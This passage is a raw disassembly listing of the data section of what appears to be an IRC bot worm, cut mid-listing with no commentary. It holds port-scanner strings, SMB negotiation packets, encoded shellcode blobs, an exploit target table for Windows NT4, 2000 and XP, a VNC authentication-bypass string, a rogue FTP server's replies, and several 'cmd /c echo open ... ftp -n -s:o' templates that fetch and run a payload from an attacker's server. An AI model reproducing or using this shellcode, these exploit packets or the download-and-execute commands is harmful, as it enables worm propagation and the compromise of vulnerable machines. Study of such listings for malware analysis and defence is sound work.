		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
; char asc_449804[]
asc_449804	db '-'                  ; DATA XREF: sub_40C165+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_36	db 'Failed to start server, error: <%d>.',0
		align 4
; char asc_449838[]
asc_449838	db '-'                  ; DATA XREF: sub_40C165+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_4	db '- Server started on Port: %d.',0
		align 4
; char asc_449868[]
asc_449868	db '-'                  ; DATA XREF: sub_40C165+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_37	db '- Failed to start server, error: <%d>.',0
; char asc_4498A0[]
asc_4498A0	db '-'                  ; DATA XREF: sub_40C165+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_1	db ' Server listening on IP: %s:%d, Directory: %s\.',0
; char asc_4498DC[]
asc_4498DC	db '-'                  ; DATA XREF: sub_40C165+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_38	db ' Failed to start server, error: <%d>.',0
		align 10h
; char aD_D_D_D_0[]
aD_D_D_D_0	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40C683+38o
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: .text:0040C8B1o
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: .text:0040C8E8o
aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: .text:0040C942o
		align 4
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: .text:0040C967o
		align 4
aSocketClosed_	db 'Socket closed.',0   ; DATA XREF: .text:loc_40C977o
		align 4
; char asc_449994[]
asc_449994	db '-'                  ; DATA XREF: sub_40C989+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; char asc_4499CC[]
asc_4499CC	db '-'                  ; DATA XREF: sub_40C989+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
; char asc_4499F4[]
asc_4499F4	db '-'                  ; DATA XREF: sub_40CBA1+87o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
; char asc_449A28[]
asc_449A28	db '-'                  ; DATA XREF: sub_40CBA1+103o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
; char asc_449A5C[]
asc_449A5C	db '-'                  ; DATA XREF: sub_40CBA1+173o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
; char asc_449A94[]
asc_449A94	db '-'                  ; DATA XREF: sub_40CBA1+1CEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
; char asc_449AD4[]
asc_449AD4	db '-'                  ; DATA XREF: sub_40CE00+92o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 4
; char asc_449AFC[]
asc_449AFC	db '-'                  ; DATA XREF: sub_40CECD+41o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
; char asc_449B24[]
asc_449B24	db '-'                  ; DATA XREF: sub_40CFBE+41o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 10h
; char asc_449B50[]
asc_449B50	db '-'                  ; DATA XREF: sub_40CFBE+D1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40D36D+B2o
		align 4
dword_449B88	dd 10FF8h, 0		; DATA XREF: sub_40D36D+6Ao
dword_449B90	dd 10FF8h		; DATA XREF: sub_40D36D+79o
dword_449B94	dd 7FFDF020h, 0		; DATA XREF: sub_40D36D+162o
dword_449B9C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40D797+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
aLanman1_0	db 'LANMAN1.0',0
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
aLm1_2x002	db 'LM1.2X002',0
		dw 4C02h
aAnman2_1	db 'ANMAN2.1',0
		db 2, 4Eh, 54h
aLm0_12		db ' LM 0.12',0
		align 4
dword_449C24	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40D797+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_449C54	dd 0			; DATA XREF: sub_40D797+44o
		dd 800000D4h, 0
unk_449C60	db  81h	; 		; DATA XREF: sub_40D871+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_449CAC	db 41h			; DATA XREF: sub_40D90F+FFr
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h
aSvwfbA		db 'SVWf',0          ; DATA XREF: sub_40DB44+82o
aIcsa		db '',0
		db 2 dup(0), 0FFh
		dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h
		dd 6B680476h, 0E8CA2BD0h, 0E2h,	0E80C4689h, 3Fh, 680476FFh
		dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h
		dd 0B9C78910h, 410h, 315EA4F3h,	505050C0h, 0FF505053h
		dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh,	23E8h
		dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h
		dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h,	0FF64D231h
		dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh
		dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h,	8B7FFDF0h
		dd 8468B1Fh, 7F8B0789h,	78C781F8h, 89000001h, 741939F9h
		dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh,	891189F6h
		dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh
		dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h
		dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h
		dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h
		dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh
		dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0
dword_449E58	dd 0F254C481h, 0E8FCFFFFh, 46h,	8B3C458Bh, 178057Ch, 184F8BEFh
					; DATA XREF: sub_40DB44+30o
		dd 1205F8Bh, 492EE3EBh,	18B348Bh, 99C031EEh, 74C084ACh
		dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
		dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
		dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
		dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
		dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
dword_449EE8	dd 23h			; DATA XREF: sub_40D312+1Bo
; char dword_449EEC[]
dword_449EEC	dd 909006EBh, 90909090h, 0 ; DATA XREF:	sub_40D36D+E8o
; char aCccc[]
aCccc		db 'CCCC',0             ; DATA XREF: sub_40D36D+153o
		align 10h
dword_449F00	dd 3			; DATA XREF: sub_40D36D+246o
; char dword_449F04[]
dword_449F04	dd 0A1h			; DATA XREF: sub_40D36D+29Fo
; char dword_449F08[]
dword_449F08	dd 30h			; DATA XREF: sub_40D36D+2CAo
; char dword_449F0C[]
dword_449F0C	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40D36D+2F5o
; char dword_449F18[]
dword_449F18	dd 60h			; DATA XREF: sub_40D36D+320o
; char aCmdCEchoOpenSD[]
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: sub_40DB44+57o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_449F80	dd 0E983C933h, 0D9EED9AFh, 5BF42474h, 0BB137381h, 836AD31Eh
					; DATA XREF: sub_40E3FF+2B3o
		dd 0F4E2FCEBh, 25387447h, 952CE753h, 6587E44h, 2F583A9Fh
		dd 6FAF9587h, 0E13C1FC3h, 355806F4h, 89381F9Bh,	5E58578Bh
		dd 5B3D1F30h, 0EE7F877Bh, 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
		dd 89A6369Fh, 6BF74130h, 66587850h, 768C95F0h, 46D0F5BAh
		dd 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh, 0C7CF6E30h
		dd 34DB5E30h, 649D90D3h, 0BC2C4E57h, 39B5C58Ah,	58E076DDh
		dd 58A069D3h, 0BA2C4AE4h, 963ED5D3h, 0BC2C4E80h, 0C3697E4h
		dd 68DBF33Ah, 95D174EEh, 630A766Bh, 9584B34Eh, 39804D6Dh
		dd 39904DE8h, 0BA2C4DF8h, 0FD376DDh, 8B5A4DDDh,	7077762Eh
		dd 9584D9CBh, 3BC3746Dh, 203E1EEh, 83FDB31Fh, 3905E1ECh
		dd 203E1EEh, 2355575Eh,	3A05E1ECh, 95864AEFh, 8DBB8D6Bh
		dd 3DAAD8C2h, 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h
		dd 0E31F37E2h, 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h
		dd 0C1EB6436h, 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h
		dd 6BB94FEAh, 3B864FEAh, 0C7BBCE44h, 391D1B62h,	95B9C844h
		dd 0BA2C2944h, 0E92F4930h, 0BC2C7A7Fh, 203E1E9h, 0A33D054h
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_44A0E0	dd 0EFFFC481h, 44FFFFh	; DATA XREF: sub_40E3FF+29Ao
		dd offset aWindowsNt42000 ; "Windows NT4, 2000 (SP0-SP4)"
dword_44A0EC	dd 42Ah			; DATA XREF: sub_40E3FF+24Dr
dword_44A0F0	dd 3E8h			; DATA XREF: sub_40E3FF+2BEr
dword_44A0F4	dd 258h			; DATA XREF: sub_40E3FF+290r
byte_44A0F8	db 1			; DATA XREF: sub_40E3FF+1F9r
					; sub_40E3FF+2C7r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_44A110	dd 20804h		; DATA XREF: sub_40E303r
					; sub_40E3FF+2E5o ...
aWindowsNt42000	db 'Windows NT4, 2000 (SP0-SP4)',0 ; DATA XREF: .data:0044A0E8o
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .data:0044A0FCo
		align 4
; char a__6[]
a__6		db '.',0                ; DATA XREF: sub_40E3FF+10o
		align 4
; char aSIpc[]
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_40E3FF+33o
		align 4
; char aSPipeBrowser[]
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: sub_40E3FF+84o
		align 4
dword_44A16C	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: sub_40E3FF+F5o
dword_44A180	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: sub_40E3FF+151o
dword_44A194	dd 2EBh, 0		; DATA XREF: sub_40E3FF+221o
; char aCmdCEchoOpen_0[]
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E907+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_44A210	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EB60+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
; char aCmdCEchoOpen_1[]
aCmdCEchoOpen_1	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40EA49+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
word_44B498	dw 1			; DATA XREF: sub_40EC96+Ar
		align 4
; char aRfb03d_03d[]
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: sub_40EC96+93o
		align 4
; char aVncD_DSSAuthby[]
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: sub_40EC96+1FCo
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40EFAC+130o
; char aEchoOpenSDOEch[]
aEchoOpenSDOEch	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
					; DATA XREF: sub_40F198+23Eo
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F43A+1C9o
		align 4
; char aSS_3[]
aSS_3		db '%s %s',0            ; DATA XREF: sub_40F43A+251o
		align 4
; char aUser_1[]
aUser_1		db 'USER',0             ; DATA XREF: sub_40F43A+262o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40F43A+277o
		align 4
; char aPass[]
aPass		db 'PASS',0             ; DATA XREF: sub_40F43A+287o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F43A+29Bo
		align 4
; char aSyst[]
aSyst		db 'SYST',0             ; DATA XREF: sub_40F43A+2ABo
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F43A+2BFo
		align 4
; char aRest[]
aRest		db 'REST',0             ; DATA XREF: sub_40F43A+2CFo
		align 4
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F43A+2E3o
		align 4
; char off_44B5D8[]
off_44B5D8	dd offset off_445750	; DATA XREF: sub_40F43A+2F3o
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F43A+307o
		align 4
; char aType[]
aType		db 'TYPE',0             ; DATA XREF: sub_40F43A+317o
		align 4
; char aA_0[]
aA_0:					; DATA XREF: sub_40F43A+32Eo
		unicode	0, <A>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F43A+342o
; char aType_0[]
aType_0		db 'TYPE',0             ; DATA XREF: sub_40F43A+352o
		align 4
; char aI[]
aI:					; DATA XREF: sub_40F43A+369o
		unicode	0, <I>,0
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F43A+37Do
; char aPasv[]
aPasv		db 'PASV',0             ; DATA XREF: sub_40F43A+38Do
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40F43A+3A0o
		align 10h
; char aList_0[]
aList_0		db 'LIST',0             ; DATA XREF: sub_40F43A+3DBo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F43A+3EEo
		align 10h
; char aPort[]
aPort		db 'PORT',0             ; DATA XREF: sub_40F43A+41Co
		align 4
; char aS_24[]
aS_24		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F43A+455o
		db ']',0
; char aXX[]
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40F43A+499o
		align 4
; char aS_S_S_S[]
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40F43A+4CCo
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F43A+4DDo
		align 4
; char aRetr[]
aRetr		db 'RETR',0             ; DATA XREF: sub_40F43A+4F2o
		align 4
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40F43A+50Ao
		align 4
; char aFtpTransferSta[]
aFtpTransferSta	db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40F43A+533o
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F43A+57Do
; char aFtpTransferCom[]
aFtpTransferCom	db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40F43A+58Fo
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40F43A+5E0o
		align 10h
; char aQuit_1[]
aQuit_1		db 'QUIT',0             ; DATA XREF: sub_40F43A+5EDo
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F43A+601o
; char aRb[]
aRb		db 'rb',0               ; DATA XREF: sub_40FAEE+24o
		align 4
; char aGet_0[]
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FB88+26Fo
		align 10h
; char asc_44B7D0[]
asc_44B7D0:				; DATA XREF: sub_40FB88+292o
		unicode	0, < >,0
; char asc_44B7D4[]
asc_44B7D4:				; DATA XREF: sub_40FB88+297o
		unicode	0, < >,0
; char aGet_1[]
aGet_1		db 'GET ',0             ; DATA XREF: sub_40FB88+2A2o
		align 10h
; char asc_44B7E0[]
asc_44B7E0	db 0Dh,0Ah,0		; DATA XREF: sub_40FB88+2D5o
		align 4
; char asc_44B7E4[]
asc_44B7E4	db '-'                  ; DATA XREF: sub_40FB88+3FEo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FFE9+5Fo
		align 4
; char aApplicationOct[]
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FFE9:loc_41004Fo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FFE9+84o
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FFE9+98o
		align 4
; char aHttp1_0200OkSe[]
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FFE9+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
; char aHttp1_0200Ok_0[]
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FFE9+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aS_25		db '\%s',0              ; DATA XREF: sub_41016C+2Fo
; char aS_26[]
aS_26		db '%s',0               ; DATA XREF: sub_41016C+3Ao
		align 4
; char aSS_4[]
aSS_4		db '%s%s',0             ; DATA XREF: sub_41016C+EAo
		align 10h
; char asc_44BA30[]
asc_44BA30:				; DATA XREF: sub_41016C+FBo
		dw 0Ah
		unicode	0, <>,0
; char asc_44BA34[]
asc_44BA34:				; DATA XREF: sub_41016C+15Ao
		unicode	0, <*>,0
; char asc_44BA38[]
asc_44BA38	db '-'                  ; DATA XREF: sub_41016C+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
; char asc_44BA6C[]
asc_44BA6C	db '-'                  ; DATA XREF: sub_41016C+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_39	db ' failed to start worker thread, error %d',0
		align 4
; char asc_44BAA4[]
asc_44BAA4	db 0Ah,0		; DATA XREF: sub_410423+29o
		align 4
; char aPrivmsgSSearch[]
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410423+4Bo
; char aHtmlHeadTitleI[]
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_410423+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
; char aH1IndexOfSH1Ta[]
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_410423+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
; char aTrTdWidthDCode[]
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410423+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
; char aTrTdColspan3Hr[]
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410423+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char aSearchingForS[]
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410423+149o
; char aTrTdColspan3AH[]
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410423+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char a__[]
a__		db '..',0               ; DATA XREF: sub_410423+237o
		align 4
; char a__2[]
a__2:					; DATA XREF: sub_410423+252o
